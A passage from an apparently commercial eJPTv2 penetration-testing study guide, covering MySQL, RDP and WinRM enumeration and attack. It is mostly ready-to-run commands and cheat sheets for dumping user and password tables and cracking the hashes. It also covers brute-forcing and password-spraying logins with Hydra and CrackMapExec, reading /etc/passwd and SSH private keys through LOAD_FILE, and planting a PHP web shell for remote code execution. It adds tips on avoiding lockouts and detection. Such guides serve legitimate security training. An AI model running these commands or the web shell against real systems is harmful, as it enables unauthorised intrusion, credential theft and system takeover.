- Any database with "prod", "live", "main" in name

Next Steps:

1. USE webapp_db;
2. SHOW TABLES;
3. Look for tables named: users, accounts, admins, customers
4. SELECT * FROM users;

4.6.5 Extracting Sensitive Data

Common Data Extraction Queries

```
# Switch to application database
mysql> USE webapp_db;

# Find user credentials
mysql> SELECT * FROM users;
mysql> SELECT username, password, email FROM users;

# Find admin accounts
mysql> SELECT * FROM users WHERE role='admin';
mysql> SELECT * FROM users WHERE is_admin=1;

# Find password reset tokens
mysql> SELECT * FROM password_resets;

# Find API keys or secrets
mysql> SELECT * FROM api_keys;
mysql> SELECT * FROM config WHERE key LIKE '%password%';

# Dump entire table to file (if file privileges exist)
mysql> SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
```

Terminal Output - User Table Example

```
mysql> SELECT * FROM users;

+----+----------+----------------------------------+-------------------+
| id | username | password                         | email             |
+----+----------+----------------------------------+-------------------+
|  1 | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@company.com |
|  2 | john     | 098f6bcd4621d373cade4e832627b4f6 | john@company.com  |
+----+----------+----------------------------------+-------------------+
```

Password Hash Cracking

If you find password hashes:
Step 1: Identify hash type

```
# 32 characters = MD5
# 40 characters = SHA1
# 60 characters = bcrypt

hash-identifier
# Paste hash to identify type
```

Step 2: Crack with John the Ripper

```
# Save hash to file
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt

# Crack MD5
john --format=Raw-MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.
    txt

# Show cracked passwords
john --show hash.txt
```

4.6.6 MySQL Password Attacks

Brute Force with Hydra

MySQL Brute Force

```
# Single user, password list
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.1.10

# User list, single password
hydra -L users.txt -p root mysql://192.168.1.10

# User list, password list
hydra -L users.txt -P passwords.txt mysql://192.168.1.10
```

4.6.7 MySQL Enumeration Workflow

Complete MySQL Enumeration Process

Step 1: Detection

```
nmap -p 3306 -sV 192.168.1.10
```

Step 2: Test Default Credentials

```
mysql -h 192.168.1.10 -u root
mysql -h 192.168.1.10 -u root -proot
```

Step 3: Enumerate Databases

```
mysql> SHOW DATABASES;
mysql> USE webapp_db;
```

Step 4: Extract User Data

```
mysql> SHOW TABLES;
mysql> SELECT * FROM users;
mysql> SELECT user, authentication_string FROM mysql.user;
```

Step 5: Brute Force (if needed)

```
hydra -l root -P passwords.txt mysql://192.168.1.10
```

4.6.8 Advanced MySQL Techniques

Reading Files from the System

If MySQL has FILE privileges, you can read system files.

MySQL File Reading

```
# Check if you have FILE privileges
mysql> SELECT file_priv FROM mysql.user WHERE user='root';

# Read /etc/passwd
mysql> SELECT LOAD_FILE('/etc/passwd');

# Read web application files
mysql> SELECT LOAD_FILE('/var/www/html/config.php');

# Read SSH keys
mysql> SELECT LOAD_FILE('/home/user/.ssh/id_rsa');
```

Writing Files to the System

MySQL File Writing

```
# Write a web shell to web directory
mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/
    html/shell.php';

# Then access via browser:
# http://192.168.1.10/shell.php?cmd=whoami
```

MySQL File Operations

Requirements:

- User must have FILE privilege
- secure_file_priv must allow the path
- Web directory must be writable by MySQL user

If Successful = Remote Code Execution!

4.6.9 MySQL Enumeration Cheat Sheet

Quick Reference Commands

```
# === DETECTION === #
nmap -p 3306 -sV TARGET

# === CONNECTION TEST === #
mysql -h TARGET -u root
mysql -h TARGET -u root -proot
mysql -h TARGET -u root -ppassword

# === ENUMERATION === #
mysql> SHOW DATABASES;
mysql> USE database_name;
mysql> SHOW TABLES;
mysql> SELECT * FROM users;
mysql> SELECT user, authentication_string FROM mysql.user;

# === BRUTE FORCE === #
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://TARGET
hydra -L users.txt -p root mysql://TARGET

# === NMAP SCRIPTS === #
nmap -p 3306 --script mysql-empty-password TARGET
nmap -p 3306 --script mysql-info TARGET
```

4.7 RDP & WINRM Enumeration

4.7.1 Understanding Remote Access Services

RDP (Remote Desktop Protocol) and WinRM (Windows Remote Management) are Windows remote access protocols that provide direct system access.

Default Ports:

- **Port 3389** - RDP (Remote Desktop)
- **Port 5985** - WinRM HTTP
- **Port 5986** - WinRM HTTPS

Why These Services Matter:

- Provide full GUI/shell access to Windows systems
- Often have weak or default credentials
- Successful login = complete system compromise
- Used for legitimate administration (less suspicious)

4.7.2 RDP Enumeration

RDP Detection and Version

RDP Enumeration with Nmap

```
# Basic RDP detection
nmap -p 3389 -sV 192.168.1.10

# RDP security check
nmap -p 3389 --script rdp-ntlm-info 192.168.1.10

# Check for BlueKeep vulnerability (CVE-2019-0708)
nmap -p 3389 --script rdp-vuln-ms12-020 192.168.1.10

# Enumerate RDP encryption
nmap -p 3389 --script rdp-enum-encryption 192.168.1.10
```

Terminal Output - RDP Detection Output

```
$ nmap -p 3389 -sV 192.168.1.10

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
```

RDP Login Testing

RDP Connection Attempts

```
# Using xfreerdp (Linux)
xfreerdp /u:administrator /p:password /v:192.168.1.10

# With domain
xfreerdp /u:DOMAIN\\username /p:password /v:192.168.1.10

# Without password (test blank)
xfreerdp /u:administrator /v:192.168.1.10

# Using rdesktop (alternative)
rdesktop -u administrator -p password 192.168.1.10
```

Common RDP Credentials

Default Accounts:

- Administrator / (blank)
- Administrator / admin
- Administrator / password
- Administrator / Password123
- admin / admin

Enumerated Users:

- Use usernames from SMB enumeration
- Try same password across all users (password spraying)

RDP Brute Force

RDP Password Attacks

```
# Using Hydra
hydra -l administrator -P passwords.txt rdp://192.168.1.10

# With user list
hydra -L users.txt -P passwords.txt rdp://192.168.1.10

# Password spraying (recommended)
hydra -L users.txt -p Password123 rdp://192.168.1.10

# Using Crowbar (alternative tool)
crowbar -b rdp -s 192.168.1.10/32 -u administrator -C passwords.txt
```

RDP Brute Force Warnings

Detection Risks:

- RDP logs all authentication attempts (Event ID 4625)
- Failed logins trigger account lockouts
- Creates significant network traffic
- Modern Windows detects brute force quickly

Best Practices:

- Use password spraying, not brute force
- Limit to 2-3 password attempts per user
- Check password policy first (from SMB enumeration)
- Consider social engineering instead

4.7.3 WinRM Enumeration

WinRM Detection

WinRM Enumeration with Nmap

```
# Detect WinRM
nmap -p 5985,5986 -sV 192.168.1.10

# WinRM version info
nmap -p 5985 --script http-headers 192.168.1.10
```

WinRM Connection Testing

WinRM Access

```
# Using evil-winrm (most common tool)
evil-winrm -i 192.168.1.10 -u administrator -p password

# With domain
evil-winrm -i 192.168.1.10 -u administrator -p password -d DOMAIN

# Test connection (returns error if failed)
crackmapexec winrm 192.168.1.10 -u administrator -p password
```

Terminal Output - Successful WinRM Login

```
$ evil-winrm -i 192.168.1.10 -u administrator -p password

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Evil-WinRM Features

Once Connected:

- Full PowerShell access
- Upload/download files: upload file.txt, download file.txt
- Load PowerShell scripts: menu → load
- Execute commands directly
- Bypass certain security restrictions

This is Full System Access!

WinRM Password Attacks

WinRM Brute Force

```
# Using CrackMapExec
crackmapexec winrm 192.168.1.10 -u users.txt -p passwords.txt

# Password spraying
crackmapexec winrm 192.168.1.10 -u users.txt -p Password123

# Single user
crackmapexec winrm 192.168.1.10 -u administrator -p passwords.txt
```

4.7.4 RDP & WinRM Enumeration Workflow

Complete Remote Access Enumeration

Step 1: Detection

```
nmap -p 3389,5985,5986 -sV 192.168.1.10
```

Step 2: Test Default Credentials

```
# RDP
xfreerdp /u:administrator /p:password /v:192.168.1.10

# WinRM
evil-winrm -i 192.168.1.10 -u administrator -p password
```

Step 3: Password Spraying

```
# Use users from SMB enumeration
hydra -L users.txt -p Password123 rdp://192.168.1.10
crackmapexec winrm 192.168.1.10 -u users.txt -p Password123
```

Step 4: Vulnerability Check

```
nmap -p 3389 --script rdp-vuln-* 192.168.1.10
```

4.7.5 RDP & WinRM Cheat Sheet

Quick Reference Commands

```
# === RDP DETECTION === #
nmap -p 3389 -sV TARGET

# === RDP CONNECTION === #
xfreerdp /u:administrator /p:password /v:TARGET
rdesktop -u administrator -p password TARGET

# === RDP BRUTE FORCE === #
hydra -l administrator -P passwords.txt rdp://TARGET
hydra -L users.txt -p Password123 rdp://TARGET

# === WINRM DETECTION === #
nmap -p 5985,5986 -sV TARGET

# === WINRM CONNECTION === #
evil-winrm -i TARGET -u administrator -p password

# === WINRM BRUTE FORCE === #
crackmapexec winrm TARGET -u users.txt -p passwords.txt
crackmapexec winrm TARGET -u administrator -p password

# === VULNERABILITY CHECKS === #
nmap -p 3389 --script rdp-vuln-ms12-020 TARGET
nmap -p 3389 --script rdp-enum-encryption TARGET
```

4.8 Service Enumeration Final Summary

This section covered comprehensive enumeration techniques for all major services you'll encounter in the eJPTv2 exam and real-world penetration testing.

4.8.1 Services Covered

Service	Port	Key Enumeration Focus	Priority
SMB/SAMBA	445, 139	Null sessions, shares, users	HIGH
FTP	21	Anonymous login, file access	HIGH
SSH	22	Version, user enumeration	MEDIUM
HTTP/HTTPS	80, 443	Directories, technology, vulnerabilities	HIGH
MySQL	3306	Default credentials, databases	MEDIUM
RDP	3389	Credentials, vulnerabilities	MEDIUM
WinRM	5985	Remote access, credentials	MEDIUM

4.8.2 Master Enumeration Checklist

Quick Enumeration Workflow

For Every Target:

1. Port Scan Results Analysis (5 min)

```
# Review Nmap results
grep "open" nmap_scan.txt
```

2. High-Priority Services First (20 min)

```
# SMB
enum4linux -a TARGET | tee smb_enum.txt
smbmap -H TARGET

# FTP
nmap -p 21 --script ftp-anon TARGET
ftp anonymous@TARGET

# HTTP
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
nikto -h http://TARGET
```

3. Medium-Priority Services (10 min)

```
# MySQL
mysql -h TARGET -u root

# SSH
ssh root@TARGET  # Try default passwords

# RDP/WinRM
xfreerdp /u:administrator /v:TARGET
evil-winrm -i TARGET -u administrator -p password
```

4. Document Findings (5 min)

- Save all tool outputs
- Create user lists from enumeration
- Note credentials found
- Identify potential attack vectors

4.8.3 Common Enumeration Findings and Actions

Finding	Immediate Action
SMB null session works	Extract all users, prepare for password spraying
FTP anonymous login	Download all files, check for credentials
Web backup directory found	Download and examine for hardcoded credentials
MySQL root/blank password	Enumerate databases, extract user data
RDP port open	Test administrator/password, check for BlueKeep
User list obtained	Create wordlist, password spray all services

4.8.4 eJPTv2 Exam Tips

Exam-Specific Advice

Time Management:

- Don't spend more than 30 minutes per target on enumeration
- Run multiple tools simultaneously (Gobuster + Nikto)
- Move on if brute force isn't working quickly

Common Exam Patterns:

- Anonymous FTP is frequently enabled
- SMB null sessions often work
- Web directories contain useful files
- Default credentials are common (test first!)
- Credentials found on one service work on others

Documentation is Critical:

- Save all command outputs to files
- Keep a running notes file with findings
- Screenshot important discoveries
- Organize by target IP address

4.8.5 Next Steps

After completing service enumeration, you should have:

- Complete list of running services and versions
- User accounts from multiple sources
- Password policy information
- Valid credentials (if found)
- List of accessible files and shares
- Identified vulnerabilities
- Potential attack vectors mapped

You are now ready to move to the Exploitation phase!

STAY TUNED FOR MORE

www.securityeagles.com

SECURITY EAGLES

FROM LEARNERS TO LEADERS